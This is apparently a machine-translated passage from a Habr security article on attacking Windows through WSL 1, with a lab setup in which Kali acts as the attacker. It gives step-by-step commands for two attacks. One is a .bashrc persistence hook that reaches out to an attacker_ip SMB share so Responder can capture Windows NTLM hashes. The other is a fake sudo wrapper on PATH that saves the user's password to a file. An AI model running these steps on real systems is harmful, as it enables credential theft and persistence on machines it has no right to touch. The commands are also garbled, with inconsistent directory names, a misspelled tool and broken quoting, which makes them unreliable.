1) Π‘Ρ‚Π°Ρ€Ρ‚ΠΈΡ€Π°ΠΉΡ‚Π΅ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅Ρ‚ΠΎ Π·Π° ΠΎΡ‚Π΄Π°Π»Π΅Ρ‡Π΅Π½ Π΄ΠΎΡΡ‚ΡŠΠΏ Π΄ΠΎ систСмата ΠΈ ΠΏΡ€Π΅Π³Π»Π΅Π΄Π°ΠΉΡ‚Π΅ рСгистриранитС ΡΡŠΠ±ΠΈΡ‚ΠΈΡ.

ЕкспСримСнти с WSL 1: ΠΏΡ€ΠΈΡ…Π²Π°Ρ‰Π°Π½Π΅ Π½Π° Ρ…Π΅Ρˆ (Windows)

Най-накрая стигнахмС Π΄ΠΎ практичСската част. ΠŸΡŠΡ€Π²ΠΎ, трябва Π΄Π° настроитС тСстовата срСда. Всички СкспСримСнти Ρ‰Π΅ Π±ΡŠΠ΄Π°Ρ‚ ΠΈΠ·Π²ΡŠΡ€ΡˆΠ΅Π½ΠΈ Π½Π° стСнд с инсталиран Windows 10 2004. Π˜Π·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅Ρ‚ΠΎ Π½Π° Ubuntu 18.04 бСшС ΠΈΠ·Π±Ρ€Π°Π½ΠΎ ΠΊΠ°Ρ‚ΠΎ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π½Π° ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½Π°Ρ‚Π° систСма Π·Π° WSL. Π˜Π·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅Ρ‚ΠΎ Π΅ ΠΈΠ·Π±Ρ€Π°Π½ΠΎ Π½Π° случаСн ΠΏΡ€ΠΈΠ½Ρ†ΠΈΠΏ ΠΈ всяко Π΄Ρ€ΡƒΠ³ΠΎ Ρ‰Π΅ Ρ€Π°Π±ΠΎΡ‚ΠΈ ΠΏΠΎ ΡΡŠΡ‰ΠΈΡ Π½Π°Ρ‡ΠΈΠ½. Команди Π·Π° настройка Π½Π° стойка:

ΠŸΡŠΡ€Π²ΠΎ трябва Π΄Π° стартиратС powershell.exe ΠΊΠ°Ρ‚ΠΎ администратор.

Π—Π° WSL 1 трябва Π΄Π° ΠΈΠ·ΠΏΡŠΠ»Π½ΠΈΡ‚Π΅ ΠΊΠΎΠΌΠ°Π½Π΄ΠΈΡ‚Π΅:

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Π’ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Π—Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ ΠΎΠ±Ρ€Π°Π· Linux ΠΈΠ· ΠΌΠ°Π³Π°Π·ΠΈΠ½Π° Microsoft

  • Ubuntu.appx install β€”root #Установим ΠΎΠ±Ρ€Π°Π·
  • Π’ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, придСтся ΠΏΡ€ΠΎΠΊΠ»ΠΈΠΊΠ°Ρ‚ΡŒ процСсс настройки ΠΈ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π½ΠΎΠ²ΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ мСньшС ΠΏΡ€Π°Π², Ρ‡Π΅ΠΌ root. Для Π½Π°ΡˆΠΈΡ… тСстов это Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹ΠΉ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ sam.
  • Restart-Computer #ΠŸΠ΅Ρ€Π΅Π·Π°Π³Ρ€ΡƒΠ·ΠΈΠΌ
  • Π‘Π»Π΅Π΄ ΠΊΠ°Ρ‚ΠΎ рСстартиратС стойката, ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π° ΠΈΠ·Π²ΠΈΠΊΠ°Ρ‚Π΅ ΠΊΠΎΠΌΠ°Π½Π΄Π°Ρ‚Π° bash. Ако всичко Ρ€Π°Π±ΠΎΡ‚ΠΈ ΠΏΡ€Π°Π²ΠΈΠ»Π½ΠΎ, Ρ‰Π΅ Π²ΠΈΠ΄ΠΈΡ‚Π΅ Ρ€Π΅Π·ΡƒΠ»Ρ‚Π°Ρ‚, ΠΏΠΎΠ΄ΠΎΠ±Π΅Π½ Π½Π° Ρ‚ΠΎΠ·ΠΈ Π² ΠΊΠΎΠ½Π·ΠΎΠ»Π°Ρ‚Π° Π½Π° Windows:

    WSL СкспСримСнти. Част 1

    Π©Π΅ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°ΠΌΠ΅ дистрибуцията Π½Π° Kali Linux ΠΊΠ°Ρ‚ΠΎ машина Π½Π° атакуващия; всички машини трябва Π΄Π° са Π² Π΅Π΄Π½Π° ΠΈ ΡΡŠΡ‰Π° Π»ΠΎΠΊΠ°Π»Π½Π° ΠΌΡ€Π΅ΠΆΠ°.

    Π”Π° ΠΏΡ€ΠΈΠ΅ΠΌΠ΅ΠΌ, Ρ‡Π΅ ΠΈΠΌΠ°ΠΌΠ΅ Π½Π΅ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΡ€ΠΎΠ²Π°Π½ Π΄ΠΎΡΡ‚ΡŠΠΏ Π΄ΠΎ WSL Π½Π° Windows машина. НСка сС ΠΎΠΏΠΈΡ‚Π°ΠΌΠ΅ Π΄Π° Π°Ρ‚Π°ΠΊΡƒΠ²Π°ΠΌΠ΅ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½Π°Ρ‚Π° систСма Linux, ΠΊΠ°Ρ‚ΠΎ ΠΈΠ·Π²ΠΈΠΊΠ°ΠΌΠ΅ ΠΊΠΎΠΌΠ°Π½Π΄Π° ΠΎΡ‚ Linux. Π—Π° Π΄Π° Ρ€Π΅Π°Π»ΠΈΠ·ΠΈΡ€Π°ΠΌΠ΅ Π°Ρ‚Π°ΠΊΠ°Ρ‚Π°, Ρ‰Π΅ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°ΠΌΠ΅ проста Ρ‚Π΅Ρ…Π½ΠΈΠΊΠ° Π·Π° Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΡ‡Π½ΠΎ стартиранС - Ρ‰Π΅ Π΄ΠΎΠ±Π°Π²ΠΈΠΌ наш скрипт Π·Π° изпълнСниС Π² Linux срСда. Π—Π° Π΄Π° Π½Π°ΠΏΡ€Π°Π²ΠΈΡ‚Π΅ Ρ‚ΠΎΠ²Π°, трябва Π΄Π° ΠΏΡ€ΠΎΠΌΠ΅Π½ΠΈΡ‚Π΅ Ρ„Π°ΠΉΠ»Π° .bashrc.

    На машина с WSL ниС изпълнявамС:

    	1. bash
    	2. ΠŸΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΠΌ Π² домашнюю Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΡŽ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ: cd /home/sam/
    	2. echo  Β«/home/sam/.attack.shΒ» >> .bashrc
    	3. echo Β«icalcs.exe Β» \\\\attacker_ip\\shareName\\Β» > /dev/null 2>&1Β» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    На машина с Kali Linux изпълнявамС:

    1. Responder -I eth0 -rdvw

    На машина с Windows Π½Π΅ΠΊΠ° стартирамС bash.

    ΠžΡ‡Π°ΠΊΠ²Π°ΠΌΠ΅ Ρ€Π΅Π·ΡƒΠ»Ρ‚Π°Ρ‚Π° Π½Π° Kali Linux ΠΌΠ°ΡˆΠΈΠ½Π°Ρ‚Π°:

    WSL СкспСримСнти. Част 1

    Π’Π°ΠΊΠ° ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ…ΠΌΠ΅ потрСбитСлскитС Ρ…Π΅ΡˆΠΎΠ²Π΅ Π½Π° Windows Ρ‡Ρ€Π΅Π· подсистСмата WSL, ΠΊΠ°Ρ‚ΠΎ ΠΈΠ·ΠΏΡŠΠ»Π½ΠΈΡ…ΠΌΠ΅ ΠΊΠΎΠΌΠ°Π½Π΄Π°Ρ‚Π° Π² систСмата Linux.

    WSL 1 СкспСримСнти: ΠΏΠΎΠ»ΡƒΡ‡Π°Π²Π°Π½Π΅ Π½Π° потрСбитСлска ΠΏΠ°Ρ€ΠΎΠ»Π° (Linux OS)

    НСка Π½Π°ΠΏΡ€Π°Π²ΠΈΠΌ ΠΎΡ‰Π΅ Π΅Π΄ΠΈΠ½ СкспСримСнт. По Π²Ρ€Π΅ΠΌΠ΅ Π½Π° Ρ‚Π°Π·ΠΈ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° Ρ‰Π΅ Π΄ΠΎΠ±Π°Π²ΠΈΠΌ към Ρ„Π°ΠΉΠ»Π° .bashrc няколко ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ, Π·Π° Π΄Π° ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚Π΅ потрСбитСлската ΠΏΠ°Ρ€ΠΎΠ»Π° Π½Π° ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½Π°Ρ‚Π° систСма Linux.

    НСка стартирамС bash ΠΈ Π²ΡŠΠ²Π΅Π΄Π΅Ρ‚Π΅ ΠΊΠΎΠΌΠ°Π½Π΄ΠΈΡ‚Π΅:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txtΒ» >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    Π—Π° Π΄Π° Π·Π°Π²ΡŠΡ€ΡˆΠΈ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ Π°Ρ‚Π°ΠΊΠ°Ρ‚Π°, потрСбитСлят Sam трябва Π΄Π° ΠΈΠ·Π²ΠΈΠΊΠ° sudo Π² Ρ‚Π΅Ρ€ΠΌΠΈΠ½Π°Π»Π° Π½Π° Linux. Π‘Π»Π΅Π΄ Ρ‚ΠΎΠ²Π° потрСбитСлската ΠΏΠ°Ρ€ΠΎΠ»Π° Π½Π° Linux OS Ρ‰Π΅ бъдС във Ρ„Π°ΠΉΠ»Π° pass.txt:

    WSL СкспСримСнти. Част 1

    Π˜Π·ΠΏΡŠΠ»Π½Π΅Π½ΠΈΠ΅Ρ‚ΠΎ Π½Π° Π°Ρ‚Π°ΠΊΠΈΡ‚Π΅ бСшС Π΄Π°Π΄Π΅Π½ΠΎ само Π·Π° Ρ‚Π΅ΠΎΡ€Π΅Ρ‚ΠΈΡ‡Π½Π° информация.

    Π‘Π»Π΅Π΄Π²Π°Ρ‰Π°Ρ‚Π° част ΠΎΡ‚ статията Ρ‰Π΅ опишС внСдряванСто Π½Π° ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π° 9P, Ρ‰Π΅ Ρ€Π°Π·Π³Π»Π΅Π΄Π° ΡΡŠΠ·Π΄Π°Π²Π°Π½Π΅Ρ‚ΠΎ Π½Π° скСнСр Π·Π° Ρ‚ΠΎΠ·ΠΈ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ» ΠΈ Ρ‰Π΅ ΠΈΠ·Π²ΡŠΡ€ΡˆΠΈ Π°Ρ‚Π°ΠΊΠ° с Π½Π΅Π³ΠΎ.

    Бписък Π½Π° ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½Π°Ρ‚Π° Π»ΠΈΡ‚Π΅Ρ€Π°Ρ‚ΡƒΡ€Π°

    WSL СкспСримСнти. Част 1

    ΠŸΡ€ΠΎΡ‡Π΅Ρ‚Π΅Ρ‚Π΅ ΠΎΡ‰Π΅

    Π˜Π·Ρ‚ΠΎΡ‡Π½ΠΈΠΊ: www.habr.com

    ДобавянС Π½Π° Π½ΠΎΠ² ΠΊΠΎΠΌΠ΅Π½Ρ‚Π°Ρ€